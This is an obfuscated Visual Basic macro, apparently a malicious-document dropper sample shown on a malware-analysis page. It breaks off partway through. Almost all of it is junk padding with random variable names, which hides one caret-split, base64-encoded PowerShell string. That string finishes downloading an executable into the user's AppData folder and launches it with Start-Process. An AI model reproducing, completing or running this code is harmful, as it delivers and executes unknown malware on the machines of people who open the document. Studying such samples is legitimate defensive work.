If "hYgiBUxORIRyNUaIdYXgy" <> CStr("hYgiBUxORIRyNUaIdYXgy283") Then
   GOiOFYDIiYpYVesIdezuhWoGiDiVExiNOA(0) = VarType(VarType(VarType("hYgiBUxORIRyNUaIdYXgy")))
End If
GOiOFYDIiYpYVesIdezuhWoGiDiVExiNOA(1) = CInt(CStr("#283"))
VarType hYgiBUxORIRyNUaIdYXgy
VarType GOiOFYDIiYpYVesIdezuhWoGiDiVExiNOA
If LenB(GOiOFYDIiYpYVesIdezuhWoGiDiVExiNOA(1)) > 12 Then
  GOiOFYDIiYpYVesIdezuhWoGiDiVExiNOA(2) = Weekday(2833)
End If
GOiOFYDIiYpYVesIdezuhWoGiDiVExiNOA(3) = VarType(GOiOFYDIiYpYVesIdezuhWoGiDiVExiNOA)
Dim QYSUDAXBABanyWorAsaDYFUzygUZaWAkOLAceQ(4)
If "kOVawuayZIdEKoLATySyupY" <> CStr("kOVawuayZIdEKoLATySyupY6915") Then
   QYSUDAXBABanyWorAsaDYFUzygUZaWAkOLAceQ(0) = VarType(VarType(VarType("kOVawuayZIdEKoLATySyupY")))
End If
QYSUDAXBABanyWorAsaDYFUzygUZaWAkOLAceQ(1) = CInt(CStr("#6915"))
VarType kOVawuayZIdEKoLATySyupY
VarType QYSUDAXBABanyWorAsaDYFUzygUZaWAkOLAceQ
If LenB(QYSUDAXBABanyWorAsaDYFUzygUZaWAkOLAceQ(1)) > 12 Then
  QYSUDAXBABanyWorAsaDYFUzygUZaWAkOLAceQ(2) = Weekday(69158)
End If
QYSUDAXBABanyWorAsaDYFUzygUZaWAkOLAceQ(3) = VarType(QYSUDAXBABanyWorAsaDYFUzygUZaWAkOLAceQ)

Dim QiKohIwEVEDOPALEaIiaiTDyhIjyGIxAPUmeCOPoPARyK(4)
If "aAxiSYGUric" <> CStr("aAxiSYGUric9178") Then
   QiKohIwEVEDOPALEaIiaiTDyhIjyGIxAPUmeCOPoPARyK(0) = VarType(VarType(VarType("aAxiSYGUric")))
End If
QiKohIwEVEDOPALEaIiaiTDyhIjyGIxAPUmeCOPoPARyK(1) = CInt(CStr("#9178"))
VarType aAxiSYGUric
VarType QiKohIwEVEDOPALEaIiaiTDyhIjyGIxAPUmeCOPoPARyK
If LenB(QiKohIwEVEDOPALEaIiaiTDyhIjyGIxAPUmeCOPoPARyK(1)) > 10 Then
  QiKohIwEVEDOPALEaIiaiTDyhIjyGIxAPUmeCOPoPARyK(2) = Weekday(91781)
End If
QiKohIwEVEDOPALEaIiaiTDyhIjyGIxAPUmeCOPoPARyK(3) = VarType(QiKohIwEVEDOPALEaIiaiTDyhIjyGIxAPUmeCOPoPARyK)
Dim DYadeGyVakDitabywyLus(4)
If "XivabaTOcEBAFadu" <> CStr("XivabaTOcEBAFadu3977") Then
   DYadeGyVakDitabywyLus(0) = VarType(VarType(VarType("XivabaTOcEBAFadu")))
End If
DYadeGyVakDitabywyLus(1) = CInt(CStr("#3977"))
VarType XivabaTOcEBAFadu
VarType DYadeGyVakDitabywyLus
If LenB(DYadeGyVakDitabywyLus(1)) > 11 Then
  DYadeGyVakDitabywyLus(2) = Weekday(39772)
End If
DYadeGyVakDitabywyLus(3) = VarType(DYadeGyVakDitabywyLus)
Dim aKoZOSyQyvUQaxIxAhYLymBoKaFYX(4)
Dim jOfYXeMiiodySeraWapAXveSyHoYzYK(4)
If "NElAaOBIwUaE" <> CStr("NElAaOBIwUaE4414") Then
   jOfYXeMiiodySeraWapAXveSyHoYzYK(0) = VarType(VarType(VarType("NElAaOBIwUaE")))
End If
jOfYXeMiiodySeraWapAXveSyHoYzYK(1) = CInt(CStr("#4414"))
VarType NElAaOBIwUaE
VarType jOfYXeMiiodySeraWapAXveSyHoYzYK
If LenB(jOfYXeMiiodySeraWapAXveSyHoYzYK(1)) > 12 Then
  jOfYXeMiiodySeraWapAXveSyHoYzYK(2) = Weekday(44147)
End If
jOfYXeMiiodySeraWapAXveSyHoYzYK(3) = VarType(jOfYXeMiiodySeraWapAXveSyHoYzYK)
If "ZUduaIkAseQYgiMeuWa" <> CStr("ZUduaIkAseQYgiMeuWa2033") Then
Dim SalUheXYHuNucISAxiViBynohUveVyiANYjRYM(4)
If "TYWaSezUpaQmA" <> CStr("TYWaSezUpaQmA4145") Then
   SalUheXYHuNucISAxiViBynohUveVyiANYjRYM(0) = VarType(VarType(VarType("TYWaSezUpaQmA")))
End If
SalUheXYHuNucISAxiViBynohUveVyiANYjRYM(1) = CInt(CStr("#4145"))
VarType TYWaSezUpaQmA
VarType SalUheXYHuNucISAxiViBynohUveVyiANYjRYM
If LenB(SalUheXYHuNucISAxiViBynohUveVyiANYjRYM(1)) > 10 Then
  SalUheXYHuNucISAxiViBynohUveVyiANYjRYM(2) = Weekday(41459)
End If
SalUheXYHuNucISAxiViBynohUveVyiANYjRYM(3) = VarType(SalUheXYHuNucISAxiViBynohUveVyiANYjRYM)
Dim gesawyGizOTaaADiRaquZTadOpeaeBuToxUDezy(4)
If "kyNYSOZesun" <> CStr("kyNYSOZesun403") Then
   gesawyGizOTaaADiRaquZTadOpeaeBuToxUDezy(0) = VarType(VarType(VarType("kyNYSOZesun")))
End If
gesawyGizOTaaADiRaquZTadOpeaeBuToxUDezy(1) = CInt(CStr("#403"))
VarType kyNYSOZesun
VarType gesawyGizOTaaADiRaquZTadOpeaeBuToxUDezy
If LenB(gesawyGizOTaaADiRaquZTadOpeaeBuToxUDezy(1)) > 13 Then
  gesawyGizOTaaADiRaquZTadOpeaeBuToxUDezy(2) = Weekday(4031)
End If
gesawyGizOTaaADiRaquZTadOpeaeBuToxUDezy(3) = VarType(gesawyGizOTaaADiRaquZTadOpeaeBuToxUDezy)
   aKoZOSyQyvUQaxIxAhYLymBoKaFYX(0) = VarType(VarType(VarType("ZUduaIkAseQYgiMeuWa")))
Dim CibIqeraWUxeDaDukeCoGsEtoSUeCy(4)
If "jUDOwUlYaCu" <> CStr("jUDOwUlYaCu4043") Then
   CibIqeraWUxeDaDukeCoGsEtoSUeCy(0) = VarType(VarType(VarType("jUDOwUlYaCu")))
End If
CibIqeraWUxeDaDukeCoGsEtoSUeCy(1) = CInt(CStr("#4043"))
VarType jUDOwUlYaCu
VarType CibIqeraWUxeDaDukeCoGsEtoSUeCy
If LenB(CibIqeraWUxeDaDukeCoGsEtoSUeCy(1)) > 12 Then
  CibIqeraWUxeDaDukeCoGsEtoSUeCy(2) = Weekday(404310)
End If
CibIqeraWUxeDaDukeCoGsEtoSUeCy(3) = VarType(CibIqeraWUxeDaDukeCoGsEtoSUeCy)
Dim vECYzpuDaGtIZAFoJyFUqeLIii(4)
If "xEHUbEwapEnYme" <> CStr("xEHUbEwapEnYme1837") Then
   vECYzpuDaGtIZAFoJyFUqeLIii(0) = VarType(VarType(VarType("xEHUbEwapEnYme")))
End If
vECYzpuDaGtIZAFoJyFUqeLIii(1) = CInt(CStr("#1837"))
VarType xEHUbEwapEnYme
VarType vECYzpuDaGtIZAFoJyFUqeLIii
If LenB(vECYzpuDaGtIZAFoJyFUqeLIii(1)) > 10 Then
  vECYzpuDaGtIZAFoJyFUqeLIii(2) = Weekday(18371)
End If
vECYzpuDaGtIZAFoJyFUqeLIii(3) = VarType(vECYzpuDaGtIZAFoJyFUqeLIii)
End If
Dim LyKytyXIXyfnASECikIhAS(4)
If "MiaYQekacPOwuqarOJuwat" <> CStr("MiaYQekacPOwuqarOJuwat67") Then
   LyKytyXIXyfnASECikIhAS(0) = VarType(VarType(VarType("MiaYQekacPOwuqarOJuwat")))
End If
LyKytyXIXyfnASECikIhAS(1) = CInt(CStr("#67"))
VarType MiaYQekacPOwuqarOJuwat
VarType LyKytyXIXyfnASECikIhAS
If LenB(LyKytyXIXyfnASECikIhAS(1)) > 13 Then
  LyKytyXIXyfnASECikIhAS(2) = Weekday(678)
End If
LyKytyXIXyfnASECikIhAS(3) = VarType(LyKytyXIXyfnASECikIhAS)
aKoZOSyQyvUQaxIxAhYLymBoKaFYX(1) = CInt(CStr("#2033"))
VarType ZUduaIkAseQYgiMeuWa
VarType aKoZOSyQyvUQaxIxAhYLymBoKaFYX
Dim tuzatuLYbYZEZUREDfOvAsIHObojOMUFoaAh(4)
If "ZAFiPOjNapaZemi" <> CStr("ZAFiPOjNapaZemi1246") Then
   tuzatuLYbYZEZUREDfOvAsIHObojOMUFoaAh(0) = VarType(VarType(VarType("ZAFiPOjNapaZemi")))
End If
tuzatuLYbYZEZUREDfOvAsIHObojOMUFoaAh(1) = CInt(CStr("#1246"))
VarType ZAFiPOjNapaZemi
VarType tuzatuLYbYZEZUREDfOvAsIHObojOMUFoaAh
If LenB(tuzatuLYbYZEZUREDfOvAsIHObojOMUFoaAh(1)) > 13 Then
  tuzatuLYbYZEZUREDfOvAsIHObojOMUFoaAh(2) = Weekday(12466)
End If
tuzatuLYbYZEZUREDfOvAsIHObojOMUFoaAh(3) = VarType(tuzatuLYbYZEZUREDfOvAsIHObojOMUFoaAh)
Dim PAzAWiMuqUcuGywYHalNUnOaPURaxETyW(4)
If "DuQYJojiZIzIk" <> CStr("DuQYJojiZIzIk2986") Then
   PAzAWiMuqUcuGywYHalNUnOaPURaxETyW(0) = VarType(VarType(VarType("DuQYJojiZIzIk")))
End If
PAzAWiMuqUcuGywYHalNUnOaPURaxETyW(1) = CInt(CStr("#2986"))
VarType DuQYJojiZIzIk
VarType PAzAWiMuqUcuGywYHalNUnOaPURaxETyW
If LenB(PAzAWiMuqUcuGywYHalNUnOaPURaxETyW(1)) > 10 Then
  PAzAWiMuqUcuGywYHalNUnOaPURaxETyW(2) = Weekday(29867)
End If
PAzAWiMuqUcuGywYHalNUnOaPURaxETyW(3) = VarType(PAzAWiMuqUcuGywYHalNUnOaPURaxETyW)
If LenB(aKoZOSyQyvUQaxIxAhYLymBoKaFYX(1)) > 13 Then
  aKoZOSyQyvUQaxIxAhYLymBoKaFYX(2) = Weekday(203310)
Dim iETEkOZOnOqOBeNeMEHiAFiKytUmukOfaFeHN(4)
If "puGYRybOBedy" <> CStr("puGYRybOBedy8729") Then
   iETEkOZOnOqOBeNeMEHiAFiKytUmukOfaFeHN(0) = VarType(VarType(VarType("puGYRybOBedy")))
End If
iETEkOZOnOqOBeNeMEHiAFiKytUmukOfaFeHN(1) = CInt(CStr("#8729"))
VarType puGYRybOBedy
VarType iETEkOZOnOqOBeNeMEHiAFiKytUmukOfaFeHN
If LenB(iETEkOZOnOqOBeNeMEHiAFiKytUmukOfaFeHN(1)) > 12 Then
  iETEkOZOnOqOBeNeMEHiAFiKytUmukOfaFeHN(2) = Weekday(872910)
End If
iETEkOZOnOqOBeNeMEHiAFiKytUmukOfaFeHN(3) = VarType(iETEkOZOnOqOBeNeMEHiAFiKytUmukOfaFeHN)
End If
Dim gInusYkunepBuHicinurExyNA(4)
If "pOZYwuWuVIKaaSUWarS" <> CStr("pOZYwuWuVIKaaSUWarS1451") Then
   gInusYkunepBuHicinurExyNA(0) = VarType(VarType(VarType("pOZYwuWuVIKaaSUWarS")))
End If
gInusYkunepBuHicinurExyNA(1) = CInt(CStr("#1451"))
VarType pOZYwuWuVIKaaSUWarS
VarType gInusYkunepBuHicinurExyNA
If LenB(gInusYkunepBuHicinurExyNA(1)) > 12 Then
  gInusYkunepBuHicinurExyNA(2) = Weekday(145110)
End If
gInusYkunepBuHicinurExyNA(3) = VarType(gInusYkunepBuHicinurExyNA)
Dim zimoZadYrEkIWvkOXOsaxyRYDUXAtohOBIiek(4)
If "huJEqUDEJaaIiuqOjEcyraQ" <> CStr("huJEqUDEJaaIiuqOjEcyraQ4213") Then
   zimoZadYrEkIWvkOXOsaxyRYDUXAtohOBIiek(0) = VarType(VarType(VarType("huJEqUDEJaaIiuqOjEcyraQ")))
End If
zimoZadYrEkIWvkOXOsaxyRYDUXAtohOBIiek(1) = CInt(CStr("#4213"))
VarType huJEqUDEJaaIiuqOjEcyraQ
VarType zimoZadYrEkIWvkOXOsaxyRYDUXAtohOBIiek
If LenB(zimoZadYrEkIWvkOXOsaxyRYDUXAtohOBIiek(1)) > 12 Then
  zimoZadYrEkIWvkOXOsaxyRYDUXAtohOBIiek(2) = Weekday(42134)
End If
zimoZadYrEkIWvkOXOsaxyRYDUXAtohOBIiek(3) = VarType(zimoZadYrEkIWvkOXOsaxyRYDUXAtohOBIiek)
aKoZOSyQyvUQaxIxAhYLymBoKaFYX(3) = VarType(aKoZOSyQyvUQaxIxAhYLymBoKaFYX)
Dim qyhObUCAqAboFIdAkavinaMEmeZkIsYSeBysOd(4)
If "ModYBUuMoZLu" <> CStr("ModYBUuMoZLu8711") Then
   qyhObUCAqAboFIdAkavinaMEmeZkIsYSeBysOd(0) = VarType(VarType(VarType("ModYBUuMoZLu")))
End If
qyhObUCAqAboFIdAkavinaMEmeZkIsYSeBysOd(1) = CInt(CStr("#8711"))
VarType ModYBUuMoZLu
VarType qyhObUCAqAboFIdAkavinaMEmeZkIsYSeBysOd
If LenB(qyhObUCAqAboFIdAkavinaMEmeZkIsYSeBysOd(1)) > 11 Then
  qyhObUCAqAboFIdAkavinaMEmeZkIsYSeBysOd(2) = Weekday(87116)
End If
qyhObUCAqAboFIdAkavinaMEmeZkIsYSeBysOd(3) = VarType(qyhObUCAqAboFIdAkavinaMEmeZkIsYSeBysOd)
iAvYLotYsIBUWLicYZIkelyHoi = "^1^A^D^c^A^N^A^A^3^A^C^4^A^Z^Q^B^4^A^G^U^A^L^g^B^l^A^H^g^A^Z^Q^A^n^A^C^k^A^O^w^A^g^A^F^M^A^d^A^B^h^A^H^I^A^d^A^A^t^A^F^A^A^c^g^B^v^A^G^M^A^Z^Q^B^z^A^H^M^A^I^A^A^k^A^G^U^A^b^g^B^2^A^D^o^A^Q^Q^B^Q^A^F^A^A^R^A^B^B^A^F^Q^A^Q^Q^A^n^A^F^w^A^N^A^A^w^A^D^E^A^M^w^A^0^A^D^g^A^M^w^A^0^A^D^U^A^N^w^A^0^A^D^c^A^L^g^B^l^A^H^g^A^Z^Q^A^u^A^G^U^A^e^A^B^l^A^C^c^A^O^w^B^F^A^H^g^A^a^Q^B^0^"
Dim sEguHARUiysYVCUxiQerYlomEBoGAe(4)
If "HyMyftINusYiikimAKOT" <> CStr("HyMyftINusYiikimAKOT8596") Then
   sEguHARUiysYVCUxiQerYlomEBoGAe(0) = VarType(VarType(VarType("HyMyftINusYiikimAKOT")))
End If
sEguHARUiysYVCUxiQerYlomEBoGAe(1) = CInt(CStr("#8596"))
VarType HyMyftINusYiikimAKOT
VarType sEguHARUiysYVCUxiQerYlomEBoGAe
If LenB(sEguHARUiysYVCUxiQerYlomEBoGAe(1)) > 10 Then
  sEguHARUiysYVCUxiQerYlomEBoGAe(2) = Weekday(859610)
End If
sEguHARUiysYVCUxiQerYlomEBoGAe(3) = VarType(sEguHARUiysYVCUxiQerYlomEBoGAe)
Dim bUKYzOMoxIlYvexAfUkyGYWiqEgAwe(4)
If "quDEHSiDUyhuZoa" <> CStr("quDEHSiDUyhuZoa5688") Then
   bUKYzOMoxIlYvexAfUkyGYWiqEgAwe(0) = VarType(VarType(VarType("quDEHSiDUyhuZoa")))
End If
bUKYzOMoxIlYvexAfUkyGYWiqEgAwe(1) = CInt(CStr("#5688"))
Dim ZaZymqOjOFEzoxyZYgoXeHOvAKiBIQfAnqoNE(4)
If "CiPUsohUhAQUKhyxAk" <> CStr("CiPUsohUhAQUKhyxAk7419") Then
   ZaZymqOjOFEzoxyZYgoXeHOvAKiBIQfAnqoNE(0) = VarType(VarType(VarType("CiPUsohUhAQUKhyxAk")))
End If
ZaZymqOjOFEzoxyZYgoXeHOvAKiBIQfAnqoNE(1) = CInt(CStr("#7419"))
VarType CiPUsohUhAQUKhyxAk
VarType ZaZymqOjOFEzoxyZYgoXeHOvAKiBIQfAnqoNE
If LenB(ZaZymqOjOFEzoxyZYgoXeHOvAKiBIQfAnqoNE(1)) > 10 Then
  ZaZymqOjOFEzoxyZYgoXeHOvAKiBIQfAnqoNE(2) = Weekday(74195)
End If
ZaZymqOjOFEzoxyZYgoXeHOvAKiBIQfAnqoNE(3) = VarType(ZaZymqOjOFEzoxyZYgoXeHOvAKiBIQfAnqoNE)
Dim XuhItOFIZigibOKPYfuPofUkawoZagyjU(4)
If "WIKELoKujeW" <> CStr("WIKELoKujeW5004") Then
   XuhItOFIZigibOKPYfuPofUkawoZagyjU(0) = VarType(VarType(VarType("WIKELoKujeW")))
End If
XuhItOFIZigibOKPYfuPofUkawoZagyjU(1) = CInt(CStr("#5004"))
VarType WIKELoKujeW
VarType XuhItOFIZigibOKPYfuPofUkawoZagyjU
If LenB(XuhItOFIZigibOKPYfuPofUkawoZagyjU(1)) > 13 Then
  XuhItOFIZigibOKPYfuPofUkawoZagyjU(2) = Weekday(50045)
End If
XuhItOFIZigibOKPYfuPofUkawoZagyjU(3) = VarType(XuhItOFIZigibOKPYfuPofUkawoZagyjU)
VarType quDEHSiDUyhuZoa
Dim vOzuxylOfAnAnnAIzEBWVEXocobaHEFEmoz(4)
If "PaMOjOfUVAayieXIJOx" <> CStr("PaMOjOfUVAayieXIJOx6193") Then
   vOzuxylOfAnAnnAIzEBWVEXocobaHEFEmoz(0) = VarType(VarType(VarType("PaMOjOfUVAayieXIJOx")))
End If
vOzuxylOfAnAnnAIzEBWVEXocobaHEFEmoz(1) = CInt(CStr("#6193"))
VarType PaMOjOfUVAayieXIJOx
VarType vOzuxylOfAnAnnAIzEBWVEXocobaHEFEmoz
If LenB(vOzuxylOfAnAnnAIzEBWVEXocobaHEFEmoz(1)) > 13 Then
  vOzuxylOfAnAnnAIzEBWVEXocobaHEFEmoz(2) = Weekday(61934)
End If
vOzuxylOfAnAnnAIzEBWVEXocobaHEFEmoz(3) = VarType(vOzuxylOfAnAnnAIzEBWVEXocobaHEFEmoz)
Dim jysELYNAraiUWakugAsIjUhIIMYloVe(4)
If "dEtenuauLePAjESgOPE" <> CStr("dEtenuauLePAjESgOPE1386") Then
   jysELYNAraiUWakugAsIjUhIIMYloVe(0) = VarType(VarType(VarType("dEtenuauLePAjESgOPE")))
End If
jysELYNAraiUWakugAsIjUhIIMYloVe(1) = CInt(CStr("#1386"))
VarType dEtenuauLePAjESgOPE
VarType jysELYNAraiUWakugAsIjUhIIMYloVe
If LenB(jysELYNAraiUWakugAsIjUhIIMYloVe(1)) > 13 Then
  jysELYNAraiUWakugAsIjUhIIMYloVe(2) = Weekday(13865)
End If
jysELYNAraiUWakugAsIjUhIIMYloVe(3) = VarType(jysELYNAraiUWakugAsIjUhIIMYloVe)
VarType bUKYzOMoxIlYvexAfUkyGYWiqEgAwe
If LenB(bUKYzOMoxIlYvexAfUkyGYWiqEgAwe(1)) > 13 Then
Dim VuvuwIaEBeiIrYnEDKPiGAVeVIBIThuEGL(4)
If "PipOMYZLEwUhotahuLAB" <> CStr("PipOMYZLEwUhotahuLAB4190") Then
   VuvuwIaEBeiIrYnEDKPiGAVeVIBIThuEGL(0) = VarType(VarType(VarType("PipOMYZLEwUhotahuLAB")))
End If
VuvuwIaEBeiIrYnEDKPiGAVeVIBIThuEGL(1) = CInt(CStr("#4190"))
VarType PipOMYZLEwUhotahuLAB
…

Open this report in the interactive analyzer, or submit your own file for analysis.